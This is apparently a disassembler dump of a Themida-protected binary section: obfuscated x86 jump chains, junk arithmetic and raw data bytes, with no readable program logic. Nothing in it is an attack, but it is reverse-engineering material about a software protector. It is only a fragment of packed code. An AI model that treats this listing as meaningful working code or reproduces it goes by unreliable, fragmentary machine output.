0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AD5B: ; CODE XREF: Themida_:00561394j shr bx, 3 push ecx push eax mov ax, 7DE7h mov cx, ax pop eax shl cx, 2 neg cx xor cx, 0FBAh xor bx, cx pop ecx add bx, 6D17h sub bx, 5BB8h or ax, bx pop ebx jmp loc_553D3F ; --------------------------------------------------------------------------- loc_55AD8C: ; CODE XREF: Themida_:0056393Ej pop esp add esp, 4 shl ah, 4 add ah, 4Dh sub bl, 7Ah add bl, ah add bl, 7Ah jmp loc_559131 ; --------------------------------------------------------------------------- db 20h dd 0E99C2404h, 1588h ; --------------------------------------------------------------------------- loc_55ADAC: ; CODE XREF: Themida_:00563296j mov ecx, 33C034BEh and eax, ecx pop ecx sub eax, 0FFFFFFFFh shl eax, 7 jmp loc_5630A6 ; --------------------------------------------------------------------------- db 89h dd 73BF243Ch, 8376CB42h, 0C8904ECh, 89F98924h, 240C8BCEh dd 5F04C483h, 396FE9h, 24040900h, 5BC9E99Ch, 2C87FFFFh dd 0C0E95C24h, 29FFFF5Bh, 9FEE81C6h, 8B124347h, 4CE92404h dd 0BDFFFF9Bh, 598C4C4Dh, 0B951D5F7h, 31906B52h, 0C181D1F7h dd 502A309Ah, 1B98F181h, 0E9C17E43h, 49C98104h, 0E95C1A0Bh dd 0FFFF8B12h, 68E78957h, 8BFh, 68240C89h, 5AAC6096h, 5745E959h dd 55520000h, 72BDBD66h, 0BE665666h, 8966AC48h, 348B66F2h dd 0B870E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AE56: ; CODE XREF: Themida_:00559DA1j sub esp, 4 mov [esp], ecx jmp loc_551FF3 ; --------------------------------------------------------------------------- dd 748FBD55h, 54E913B7h db 84h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AE6F: ; CODE XREF: Themida_:00555884j pop ebp sub edx, 53C17E06h add edx, edi push ebp mov ebp, 53C17E06h add edx, ebp pop ebp pop edi xor edx, 8C664894h mov ecx, 0AEFBFC16h add ecx, edx pop edx and eax, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 push 1DDDh jmp loc_553452 ; --------------------------------------------------------------------------- db 25h, 0BCh, 1Fh dd 0E0D1328Dh, 0BF574840h, 7D8C5A4Fh, 1189E9h, 24048900h dd 4B8h, 58C70100h, 0E9243C87h, 15B2h, 2B9h, 59CA0100h dd 8B241487h, 0B1512424h, 6224E928h, 48F0000h, 24248B24h dd 4AB0F66h, 0BCE99C24h, 0E9FFFF5Ah, 0FFFF5AB7h ; --------------------------------------------------------------------------- loc_55AEF8: ; CODE XREF: Themida_:005522BDj pop ebx or eax, eax jz loc_56141D sub esp, 4 mov [esp], edx jmp loc_56347D ; --------------------------------------------------------------------------- dd 736FB951h, 0C801453Fh, 58C72959h, 0C781D729h, 46071F75h dd 74FF575Ah, 0E95F0424h, 2FA6h, 1242ACBFh, 0A8EF8114h dd 1141242h, 34875FFEh, 0BA74E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AF42: ; CODE XREF: Themida_:00553EC0j and eax, ebp push dword ptr [esp] pop ebp push esi jmp loc_550C62 ; --------------------------------------------------------------------------- dw 8358h dd 1C8904ECh, 49866824h, 2C890000h, 34CDBD24h, 0D1BB2536h dd 0E9253634h, 0FFFF95DDh ; --------------------------------------------------------------------------- loc_55AF6C: ; CODE XREF: Themida_:0055C1CCj mov edx, 277B2BEBh mov eax, 87FBAB6Fh xor eax, edx pop edx add esi, eax mov eax, [esp] jmp loc_55E3E4 ; --------------------------------------------------------------------------- db 5Fh dd 31240C33h, 0C33240Ch, 0CFE5C24h, 18E99C24h db 5Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AF97: ; CODE XREF: Themida_:005549FFj xor edi, 0E737F5A0h mov ecx, edi pop edi and ecx, 75F177EAh and ecx, 20234F30h jmp loc_55B8B1 ; --------------------------------------------------------------------------- db 31h, 0D3h, 0E9h dd 0FFFFCACEh, 8304C483h, 514301EBh, 0F07ACCB9h, 1B62E92Dh dd 68660000h, 3E938E8h, 59FFFFA6h, 0FFE869E9h, 0B9515EFFh dd 4, 0C8BCD01h, 0B8BCE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AFEA: ; CODE XREF: Themida_:00563B25j push edx jmp loc_556AA3 ; --------------------------------------------------------------------------- dd 899DE952h, 15DFFFFh, 0C2E959C8h, 54FFFF74h, 6BD7E95Fh dd 0F1800000h, 830AE9BBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B00E: ; CODE XREF: Themida_:0055BCCCj push edx jmp loc_5509E5 ; --------------------------------------------------------------------------- dd 90F7905h, 6A13E937h db 2 dup(0FFh) word_55B01E dw 32FFh ; DATA XREF: Themida_:0055093Co dd 0FF598AE9h, 0C8966FFh, 0FDB35324h, 0C05BD988h, 0F18007E9h dd 8E9C09Fh, 3B92E9h db 0 ; --------------------------------------------------------------------------- loc_55B03D: ; CODE XREF: Themida_:0055831Bj add edi, 4 jmp loc_561755 ; --------------------------------------------------------------------------- dd 0E5ABE95Dh, 0FD89FFFFh, 5B0B2D5Fh, 87E9122Ah, 81FFFF74h dd 4C3h, 241C8700h, 0FE78E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B06A: ; CODE XREF: Themida_:00559B0Aj push 4FD32ACCh jmp loc_557011 ; --------------------------------------------------------------------------- dd 4EC81h, 24890000h, 24048124h, 4, 6CD1E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B08A: ; CODE XREF: Themida_:00555774j push dword ptr [esp] pop eax push ebx jmp loc_55400D ; --------------------------------------------------------------------------- dd 8108EBC1h, 0A51AD4E3h, 19C3810Bh, 290BDF06h, 0FE015BDEh dd 85DC681h, 3C8B0C00h, 965DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B0B6: ; CODE XREF: Themida_:0055775Ej pop edx jmp loc_554A3A ; --------------------------------------------------------------------------- loc_55B0BC: ; CODE XREF: Themida_:005537D0j xor dh, cl pop ecx add al, 2 add al, 0DDh sub al, dh sub al, 0DDh push cx mov ch, 2 jmp loc_55668E ; --------------------------------------------------------------------------- loc_55B0D0: ; CODE XREF: Themida_:0056101Bj pop ecx push ebx mov ebx, 1AA66D60h jmp loc_5522D3 ; --------------------------------------------------------------------------- loc_55B0DC: ; CODE XREF: Themida_:00565D26j mov [esp], ebp jmp loc_55C724 ; --------------------------------------------------------------------------- loc_55B0E4: ; CODE XREF: Themida_:00553C28j mov edx, 4F11835h xor edx, ebp pop ebp jmp loc_5583A5 ; --------------------------------------------------------------------------- loc_55B0F1: ; CODE XREF: Themida_:005548D5j mov ebp, [esp] add esp, 4 push edi jmp loc_5547A9 ; --------------------------------------------------------------------------- db 87h, 3Ch, 24h dd 0FE24248Bh, 0E99C2404h, 0FFFFA371h, 0C1FBE56h, 0F029102Ah dd 52E8295Eh, 2A0C1FBAh, 5AD00110h, 6C2DE95Dh, 34FFFFFFh dd 241C8B24h, 8304C483h, 0B85004C4h, 4A4239A1h, 7A3DDB05h dd 243DE9EFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B142: ; CODE XREF: Themida_:00562D85j mov edx, [esp] add esp, 4 push 5758h jmp loc_552162 ; --------------------------------------------------------------------------- loc_55B155: ; CODE XREF: Themida_:00553455j mov edi, esp jmp loc_551714 ; --------------------------------------------------------------------------- dd 8124248Bh, 4ECh, 242C8900h, 0C5815D54h, 4, 81E68956h dd 4C6h, 4EE8300h, 0FF6844E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B181: ; CODE XREF: Themida_:005588ADj pop esp mov [esp], ebx mov ebx, 40h and ecx, ebx push dword ptr [esp] jmp loc_55A6F1 ; --------------------------------------------------------------------------- loc_55B194: ; CODE XREF: Themida_:00565CA0j add ebx, 6D0903A8h push edx mov edx, 121F4C01h sub ebx, edx pop edx sub ebx, 43A6A45Ch sub esi, 70340C00h jmp loc_553BB6 ; --------------------------------------------------------------------------- dd 48BC531h, 4C48324h, 0E902E5C1h, 979Ch, 90C7805Ch, 16E9E728h dd 68FFFFD6h, 57B7h, 89243C89h, 3BBB53E7h, 81125F77h, 0B00194C3h dd 60C8E966h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B1EA: ; CODE XREF: Themida_:0055799Cj mov edi, 342B1068h xor edx, edi pop edi add edx, 1 push ecx mov ecx, 7CCF1FB4h shr ecx, 1 and ecx, 3A7519Eh add ecx, 4DA100C6h xor ecx, 29D6397Fh or edx, ecx pop ecx push ebx push ecx mov ecx, 613C76C7h not ecx add ecx, 0D0A0C367h jmp loc_554F46 ; --------------------------------------------------------------------------- dw 0E957h dd 0FFFFF60Bh, 835D5D5Ah, 0C281FFEAh, 0C0FA2D61h, 148BD329h dd 4C48124h, 0E9000000h, 0FFFFA2EBh, 582C781h, 33592846h dd 3C31243Ch, 243C3324h, 6424248Bh, 4CE90288h, 0BFFFFF57h dd 4, 815FFA01h, 4EAh, 24148700h, 2424895Ch, 4240483h dd 2CE9565Fh db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B283: ; CODE XREF: Themida_:00552788j pop eax push 7745h mov [esp], edx push esp push dword ptr [esp] pop edx jmp loc_5656DF ; --------------------------------------------------------------------------- dw 1489h dd 6401BA24h, 0D2F769A6h, 1D69F281h, 0D2F773CCh, 192AC281h dd 0C2816000h, 47ED72A3h, 537BD55h, 0EA31C258h, 5AD0295Dh dd 4C7DE9h, 6CBE5600h, 217D135Fh, 0A0D9E9F0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B2D2: ; CODE XREF: Themida_:0055BFCAj add edi, 4 xchg edi, [esp] jmp loc_552D59 ; --------------------------------------------------------------------------- loc_55B2E0: ; CODE XREF: Themida_:00557704j movsx cx, al jmp loc_560D11 ; --------------------------------------------------------------------------- aIuqCMsai db '┴ЦQ╧C*╤mИ─⌡',0 align 2 loc_55B2F6: ; CODE XREF: Themida_:0055B950j push small 579Fh jmp loc_55190F ; --------------------------------------------------------------------------- db 81h dd 0DEB391EBh, 5BD8014Bh, 5F2DD829h, 2D049851h, 29254C2Dh dd 4D68B905h, 6D18682Ch, 14890000h, 0DFB85024h, 0E928C56Dh dd 4087h, 89243489h, 4BD55E6h, 1000000h, 0B0E95DEEh, 51FFFFF8h dd 5E7668h, 242C8900h, 79DEE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B34E: ; CODE XREF: Themida_:005553A6j pop esp mov [esp], edi mov edi, 1 jmp loc_55F01D ; --------------------------------------------------------------------------- dd 2104C483h, 16AFE9F8h, 0EEB50000h, 0E959CD80h, 852Dh dd 0EB81C301h, 756414D8h, 67CEE9h, 5A535E00h, 4EAC15Bh dd 0C108EAC1h, 535004E2h, 8A1B90BBh, 66DDE9EAh db 2 dup(0FFh) word_55B396 dw 8B66h ; DATA XREF: Themida_:00550950o db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edx mov edx, esp sub esp, 4 mov [esp], eax push 40F609AEh pop eax jmp loc_557428 ; --------------------------------------------------------------------------- dw 47B2h dd 0DAF6EAD0h, 156BE9h db 0 ; --------------------------------------------------------------------------- loc_55B3C5: ; CODE XREF: Themida_:00557F79j pop eax sub esp, 4 mov [esp], edx jmp loc_553001 ; --------------------------------------------------------------------------- dd 0A269CF2Dh, 241C8B13h, 0E904C483h, 0FFFFFEE1h, 3B19D3B8h dd 8BC72901h, 49E92404h, 53000053h, 2434FF54h, 0E389535Bh dd 4C381h, 0C3830000h, 241C8704h, 4C3815Ch, 52000000h dd 6153E954h db 2 dup(0FFh) word_55B416 dw 77FFh ; DATA XREF: Themida_:00550960o dd 58669D1Ch, 24041966h, 5589E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B426: ; CODE XREF: Themida_:0055A5DFj pop eax mov edi, [esp] jmp loc_563248 ; --------------------------------------------------------------------------- db 1 dd 343359CEh, 24343124h, 8B243433h, 53502424h, 0FC8875B7h dd 0DDEC805Bh, 0E96CC480h, 310Ch ; --------------------------------------------------------------------------- loc_55B450: ; CODE XREF: Themida_:00562C62j mov edx, 2795021Eh jmp loc_554F58 ; --------------------------------------------------------------------------- loc_55B45A: ; CODE XREF: Themida_:0055F422j pop dword ptr [esp] mov esp, [esp] shr byte ptr [esp], cl pushf jmp loc_565430 ; --------------------------------------------------------------------------- loc_55B469: ; CODE XREF: Themida_:00552042j push edi push esp pop edi push ebp mov ebp, 50974E5Ah jmp loc_555827 ; --------------------------------------------------------------------------- db 0F7h dd 0DAD3E9D3h db 2 dup(0FFh) word_55B47E dw 0F766h ; DATA XREF: Themida_:005508DCo dd 0E99C241Ch, 0FFFFAB09h, 4CE9F186h db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B48F: ; CODE XREF: Themida_:005596A3j mov dh, 76h xor dh, ch pop ecx xor dh, 3Fh push eax mov ah, 0AFh neg ah shr ah, 4 not ah add ah, 0FFh not ah xor ah, 11h add dh, ah jmp loc_55CE7A ; --------------------------------------------------------------------------- loc_55B4B0: ; CODE XREF: Themida_:00551A23j not eax push esi mov esi, 8A8EAA4Fh jmp loc_55A8C6 ; --------------------------------------------------------------------------- loc_55B4BD: ; CODE XREF: Themida_:00561C6Aj push eax push 0FFFFFFFFh pop eax sub edi, eax pop eax jmp loc_562BED ; --------------------------------------------------------------------------- aUsdr db 'UИDr',0 align 2 loc_55B4D2: ; CODE XREF: Themida_:00565A8Aj xchg ecx, [esp] jmp loc_55800A ; --------------------------------------------------------------------------- dw 835Bh dd 0FF5204C4h, 5A042474h, 0E924048Fh, 3B62h ; --------------------------------------------------------------------------- loc_55B4EC: ; CODE XREF: Themida_:00556F1Dj push ebx jmp loc_55B922 ; --------------------------------------------------------------------------- loc_55B4F2: ; CODE XREF: Themida_:00563C53j mov ebp, [esp] push 5EDCh mov [esp], ecx push 4213h jmp loc_556283 ; --------------------------------------------------------------------------- db 1 dd 0FF515AD1h, 59042474h, 8B24048Fh, 0F662424h, 6866C8B6h dd 89664C3Ah, 88E9240Ch, 0BAFFFF54h, 0B00D9A3h, 895AD731h dd 243C8BF8h, 0E904C483h, 0DC9h, 5A53B850h, 0F7407BB3h dd 0FFFF05D0h, 5655FFFFh, 0A1BB62BEh, 0E9F589C8h, 14D7h ; --------------------------------------------------------------------------- loc_55B558: ; CODE XREF: Themida_:0056540Dj add esi, 0C6A009AAh add ebp, esi jmp loc_557295 ; --------------------------------------------------------------------------- loc_55B565: ; CODE XREF: Themida_:00564E13j sub ecx, 7D161363h sub ecx, edx add ecx, 7D161363h mov edx, [esp] add esp, 4 xor ebx, ecx jmp loc_553585 ; --------------------------------------------------------------------------- db 53h dd 35DBBF57h, 0CF81049Ch, 153745BAh, 0F781D7F7h, 8E95156h dd 81D7F747h, 0FC1B87C7h, 5FFB892Fh, 62CB814Bh, 0E91F6309h dd 0FFFF7AC3h, 4EC815Ch, 89000000h db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 jmp loc_553246 ; --------------------------------------------------------------------------- dw 0F381h dd 4DFC13A7h, 4C38143h, 15F0F88h, 0E9015BD9h, 26E1E981h dd 0E95D237Fh, 0FFFFD0F2h, 8001E980h, 0D9F613F1h, 13B45066h dd 5866E128h, 0AAF180h, 0CB005BF9h, 0FFF42CE9h, 306E68FFh dd 0C890000h, 0C2885224h, 885AD188h, 0CBADE90Bh, 2F05FFFFh dd 0E912C228h, 6B5Eh, 0E9240C87h, 4385h, 8B04C483h, 71E9241Ch dd 83FFFF7Eh, 0C48304C4h, 0E87EE904h, 814FFFFFh, 98AD3BEFh dd 5FFB895Eh, 170FC405h, 2DD8295Bh, 5B170FC4h, 9CE9555Bh dd 0B8FFFFF7h, 303F4CE9h, 0C0B31B05h, 0F5EB81CFh, 29508C26h dd 0F5C381C3h, 58508C26h, 8B241C87h, 0C892424h, 4EC8124h dd 54000000h, 8324048Fh, 59042404h, 4C181h, 0BF570000h dd 2, 1200C181h, 0F9013698h, 1200E981h, 0D0E93698h db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B6B3: ; CODE XREF: Themida_:00554A35j pop edi jmp loc_5522B0 ; --------------------------------------------------------------------------- aRs5 db 'RИ5=',0 db 0 ; --------------------------------------------------------------------------- loc_55B6BF: ; CODE XREF: Themida_:005648B3j mov esi, [esp] push ecx push esp mov ecx, [esp] add esp, 4 add ecx, 4 push esi jmp loc_5633A8 ; --------------------------------------------------------------------------- aVs_0 db 'VИч\',0 align 4 dd 94F6815Fh, 81272862h, 9E6916F6h, 0CAF1E90Eh, 0EB80FFFFh dd 148B6655h, 2C48324h, 3FA068h, 240C8900h, 7668C588h dd 89000044h, 0DFE9241Ch, 0C100005Ch, 54002E0h, 7D97451Ah dd 2AE9C629h, 68FFFFD5h, 260Bh, 81240489h, 4ECh, 48F5400h dd 24048124h, 4, 1BDAE958h db 2 dup(0) word_55B73E dw 8B66h ; DATA XREF: Themida_:005508F0o dd 0E468240Ch, 8900007Ah, 0F7682404h, 8900006Dh, 0BA522424h dd 4, 4245401h, 24048B5Ah, 4C481h, 55510000h, 4BDh, 5DE98900h dd 63E9C801h, 0BD000038h, 7BFA29B5h, 4508EDC1h, 3A7ACD81h dd 0BB532489h, 5C082B70h, 7D1FE9h, 5C76B800h, 8E053482h dd 81CB7DA3h, 0FD67EDC2h, 5B1FE929h db 2 dup(0FFh) word_55B7A6 dw 4A68h ; DATA XREF: Themida_:00550734o dd 8900006Ah, 0BD55241Ch, 630B6F37h, 0FF6B45E9h, 0F10158FFh dd 0FFF516E9h, 243487FFh, 2404895Ch, 6DE9C9B4h, 5700004Dh dd 243C8B54h, 5204C483h, 682CE9h, 24348B00h, 4C481h, 0CE90000h dd 89FFFF7Fh, 0E789243Ch, 7E07BE56h, 0E6D12E3Fh, 0FC0AEE81h dd 0F7015C7Eh, 8324348Bh, 53E904C4h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B80B: ; CODE XREF: Themida_:0055D495j mov eax, 2B833B35h sub eax, 0E933B714h sub edi, eax pop eax jmp loc_556FA8 ; --------------------------------------------------------------------------- db 53h, 0E9h, 4 dd 0FF000071h db 34h, 24h, 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_56512E ; --------------------------------------------------------------------------- db 50h dd 45240481h, 8B77E80Fh, 0C483243Ch, 4EC8104h, 89000000h dd 0BB53242Ch, 2FBD23FCh, 6AECF381h, 0F3815F14h, 6D2D077Bh dd 4CC3CB81h, 0E3C14B9Dh, 81D3F703h, 44D77FC3h, 1E7E945h dd 535E0000h, 54E9E389h, 0B200002Dh, 5EC28045h, 805AD330h dd 0D93011C3h, 0FD52E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B89A: ; CODE XREF: Themida_:0055DA1Bj neg ebx add ebx, 0A60D0060h sub ebp, ebx jmp loc_551BF7 ; --------------------------------------------------------------------------- loc_55B8A9: ; CODE XREF: Themida_:00564684j sub ebp, edx pop edx jmp loc_558D33 ; --------------------------------------------------------------------------- loc_55B8B1: ; CODE XREF: Themida_:0055AFACj shr ecx, 1 and ecx, 53D020A5h add ecx, 0FDD0113Eh and ecx, 5E7C5E74h neg ecx shl ecx, 7 dec ecx not ecx add ecx, 297B26FCh xor ecx, 598340FEh sub ebp, 0E36491Bh add ebp, ecx jmp loc_55F748 ; --------------------------------------------------------------------------- loc_55B8E6: ; CODE XREF: Themida_:00561BC9j sub esp, 4 mov [esp], eax sub esp, 4 jmp loc_5575DF ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4BB5300h, 0E9000000h, 30A9h, 4C181h, 0BA520000h dd 18206956h, 6954F281h, 0D1011820h, 24E3E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B922: ; CODE XREF: Themida_:0055B4EDj push dword ptr [esp+4] pop ebx jmp loc_5547E5 ; --------------------------------------------------------------------------- dd 2414F766h, 31665D66h, 0EAE9242Ch db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B93B: ; CODE XREF: Themida_:00562857j add ebp, eax pop eax sub ebp, 4 xor ebp, [esp] jmp loc_55D194 ; --------------------------------------------------------------------------- loc_55B94C: ; CODE XREF: Themida_:0055490Dj movzx cx, ah jmp loc_55B2F6 ; --------------------------------------------------------------------------- db 81h, 6Ch, 24h dd 0B86D8904h, 24540170h, 0E030E904h, 505EFFFFh, 4B8h dd 15EE8100h, 132E27Dh, 15C681C6h, 8B32E27Dh, 54502404h dd 40558h, 0C0830000h, 24048704h, 0C773E95Ch, 5E5EFFFFh dd 4C681h, 0B8500000h, 4, 1C68E9h, 240C8700h, 2434895Ch dd 0C681E689h, 4, 4C681h, 34870000h, 0EE815C24h, 33E82546h dd 0C681D629h, 33E82546h, 0FF7B94E9h db 0FFh byte_55B9D1 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:00550830o dd 0D359669Dh, 0E99C2414h, 0FFFF4FCFh, 3C76C581h, 0C5012ED8h dd 3C76ED81h, 0E9582ED8h, 0FFFFBF54h ; --------------------------------------------------------------------------- loc_55B9F4: ; CODE XREF: Themida_:00562B99j xor [esp], edx xor edx, [esp] mov esp, [esp] imul cx, ax push cx pushf jmp loc_5509AF ; --------------------------------------------------------------------------- db 0C1h, 0E0h, 4 dd 0DC800405h, 25EA81FCh, 16E1F4Ch, 25C281C2h, 586E1F4Ch dd 8904EC83h, 4B82404h, 1000000h, 24048BC2h, 4C481h, 52680000h dd 89000031h, 8AE92414h, 0F7000094h, 5EC735D0h, 0D0F70618h dd 0F6003E35h, 35F2E939h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BA56: ; CODE XREF: Themida_:00556A22j pop esp pop ebp push esi mov esi, 4 add ebp, esi jmp loc_551EDA ; --------------------------------------------------------------------------- db 89h, 0DDh, 5Bh dd 18F6E581h, 53452BC9h, 0D138D7BBh, 5BDD0963h, 37B2F581h dd 66E91C31h, 52FFFF86h, 97668h, 241C8900h, 230CDCBBh dd 0CB685618h, 89000024h, 46E9241Ch, 89FFFFD8h, 73BE5BDAh dd 81D2BBB3h, 0E6330DC6h, 81D60146h, 0E6330DEEh, 0F1015A46h dd 240C335Eh, 33240C31h, 665C240Ch, 7068F1F7h, 8900004Eh dd 0E0892404h, 9DE956h, 52590000h, 0B51AD3BAh, 0B0F2811Ch dd 813C4047h, 27420DCAh, 8AC28150h, 13DD0B5h, 0EBC15AD3h dd 2F7E905h, 0C2010000h, 24148758h, 5324248Bh, 0E904EC83h dd 3CA0h, 8124148Bh, 4C4h, 2434FF00h, 0FF677BE9h, 8B5E52FFh dd 43E92414h db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BB27: ; CODE XREF: Themida_:00563489j pop eax jmp loc_55243B ; --------------------------------------------------------------------------- db 0F6h, 0D8h, 0F6h dd 205404D8h, 0D1F658C1h, 4EC8352h, 0B4240489h, 97EC80CEh dd 0E97AC480h, 0FFFFBE18h, 17F30540h, 502D5A5Eh, 0D23EEC3h dd 357A26D8h, 84B5E952h, 0BA520000h, 305673Bh, 2D7DCA81h dd 82E9557Bh, 89FFFF62h, 16BF57E6h, 0C10FDB6Dh, 0C5E907E7h dd 5900006Eh, 663AE9h db 0 ; --------------------------------------------------------------------------- loc_55BB89: ; CODE XREF: Themida_:005639A4j push edi push esi mov esi, 414C2E4Ah xor esi, 6C8254E4h shl esi, 1 add esi, 15FB1455h mov edi, esi pop esi xor edi, 0DE420644h jmp loc_5538B1 ; --------------------------------------------------------------------------- dd 0D5F78058h, 0FE34F780h, 0D1F780CFh, 665BFD30h, 0DFAE950h dd 0D7010000h, 4B9515Ah, 29000000h, 240C8BCFh, 9BBCE9h dd 7545BD00h, 68450D2Ah, 0 dd 5D242C29h, 2414F755h, 0EC81455Dh, 4, 0B8240489h, 1D781E29h dd 158C531h, 6D2D5DE8h, 0E972A657h, 18C7h ; --------------------------------------------------------------------------- loc_55BC08: ; CODE XREF: Themida_:0055E961j mov edx, 12C05051h mov ebp, 1A4D0241h add ebp, edx pop edx shr ebp, 6 push ebx push 4E09h mov [esp], edi jmp loc_55777D ; --------------------------------------------------------------------------- aBXoHo db '│е╠X╝<h╝;',0 dd 24348900h, 709AD8BEh, 7CE3E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BC3E: ; CODE XREF: Themida_:00557165j add ecx, 0D17CCF2h mov eax, ecx push dword ptr [esp] mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add esp, 4 sub esp, 4 mov [esp], edx mov edx, eax mov esi, edx pop edx jmp loc_55C1B3 ; --------------------------------------------------------------------------- db 81h, 0C6h, 2Fh dd 8124271Fh, 0FD4F5DEEh, 5DB8507Ch, 815D2470h, 35C3DEEh dd 81C6017Eh, 35C3DC6h, 80E9587Eh, 83FFFFA0h, 875B04C4h dd 87D7F7FEh, 3BB850FEh, 0E913B052h, 0FFFF5416h ; --------------------------------------------------------------------------- loc_55BCB0: ; CODE XREF: Themida_:0055E657j push esp jmp loc_557F8B ; --------------------------------------------------------------------------- dw 3489h dd 0ECE95424h, 41FFFFD5h, 0FFB468E9h db 0FFh ; --------------------------------------------------------------------------- loc_55BCC5: ; CODE XREF: Themida_:00563361j mov ebp, [esp] add esp, 4 push esi jmp loc_55B00E ; --------------------------------------------------------------------------- loc_55BCD1: ; CODE XREF: Themida_:0055A644j pop ecx sub ecx, 46B0C423h mov esi, ecx pop ecx jmp loc_55DE83 ; --------------------------------------------------------------------------- loc_55BCE0: ; CODE XREF: Themida_:00556170j inc ecx and ecx, 10282440h add ecx, 48EBA4EDh jmp loc_5629D3 ; --------------------------------------------------------------------------- dw 8952h dd 4C281E2h, 81000000h, 4C2h, 24148700h, 524248Bh, 422E5B20h dd 8904EC83h, 72E9241Ch db 69h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BD17: ; CODE XREF: Themida_:0055E61Bj mov [esp], ebx mov ebx, 2CFB6A92h sub ebp, ebx pop ebx push ebp jmp loc_551CE4 ; --------------------------------------------------------------------------- dd 89516C04h, 6FBE56E1h, 81108701h, 78FE95C6h, 7617E9EFh dd 0EA80FFFFh, 863BE911h, 1489FFFFh, 34FF5424h, 0C4815A24h dd 4, 4C281h, 53500000h, 616D4CBBh, 6CB4E915h, 248B0000h dd 2BA62D24h, 0D0014BB4h, 0B42BA605h, 0D8295A4Bh, 8079E9h dd 0F9492D00h, 0C6011B53h, 34335A58h, 24343124h, 8B243433h dd 1662424h, 0E99C2404h, 0FFFF4C13h ; --------------------------------------------------------------------------- loc_55BD9C: ; CODE XREF: Themida_:005514C1j push 7962h jmp loc_551A05 ; --------------------------------------------------------------------------- dw 0F029h dd 8124348Bh, 4C4h, 0EE10E900h, 0C8BFFFFh, 4C48324h, 8B1C4721h dd 0C4832404h, 4BE5E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BDCA: ; CODE XREF: Themida_:00559B04j mov [esp], eax mov eax, 74240CACh xor [esp+4], eax jmp loc_563A1E ; --------------------------------------------------------------------------- db 1 dd 0BFED81F5h, 5E28B25Ch, 381968h, 242C8900h, 0FFA27EE9h dd 0F2C381FFh, 0E9FEEA9Ch, 0FFFFB502h, 2474FF55h, 48F5D04h dd 7F5FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BE0A: ; CODE XREF: Themida_:00554F49j xor edx, ebx mov ebx, [esp] jmp loc_555E57 ; --------------------------------------------------------------------------- dd 89241489h, 4C281E2h, 57000000h, 3F5BFABFh, 0B7B8500Bh dd 0E92E387Ah, 0FFFFB84Fh ; --------------------------------------------------------------------------- loc_55BE30: ; CODE XREF: Themida_:00552234j add dword ptr [esp+4], 7A177F10h push dword ptr [esp] pop ebp push eax jmp loc_55C2D1 ; --------------------------------------------------------------------------- dw 0EB81h dd 3E0C4973h, 2149F381h, 0EBD17DB6h, 6845E9h db 0 ; --------------------------------------------------------------------------- loc_55BE55: ; CODE XREF: Themida_:00551FFCj push ecx mov ecx, 5C1C20AFh add ecx, 5C29541Ch jmp loc_560B0E ; --------------------------------------------------------------------------- dw 0F780h dd 6C2CE1h, 2FB753F8h, 0EF80DFF6h, 0FECFFE9Dh, 80CFFEC7h dd 0F8005FF7h, 241C8B5Bh, 4C481h, 0F0280000h, 8B66C02Ch dd 0C4812414h, 2, 0B60FC330h, 48F66C0h, 4B09E987h, 0B3BBFFFFh dd 0F73CBD67h, 4E3C1DBh, 0BA52h, 0DA290000h, 0B1E9D389h dd 5FFFF8Dh, 4, 8704C083h, 505C2404h, 405E089h, 5000000h dd 4, 8B240487h, 0C3312424h, 4C80E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BEE6: ; CODE XREF: Themida_:005620CAj mov esi, 5D85003Bh inc esi jmp loc_55D72D ; --------------------------------------------------------------------------- db 81h, 0C2h, 91h dd 5346360Ah, 928D8BBh, 5BDA094Ah, 28EA8142h, 0E9945E2Ch dd 0FFFFCC13h dword_55BF0C dd 8B2434FFh, 0C481240Ch, 4, 3FFE68h, 24048900h, 24EB68h ; DATA XREF: Themida_:0055080Co dd 24248900h, 0E904EC83h, 0C74h ; --------------------------------------------------------------------------- loc_55BF30: ; CODE XREF: Themida_:005587B8j sub dword ptr [esp], 2DF84167h pop esi add esi, 2DF84167h mov ebx, [esp] push 557Ch mov [esp], ebp jmp loc_5567B1 ; --------------------------------------------------------------------------- loc_55BF4E: ; CODE XREF: Themida_:00552F07j pop esp push ebp push edx mov edx, 80000h push ecx jmp loc_565BAA ; 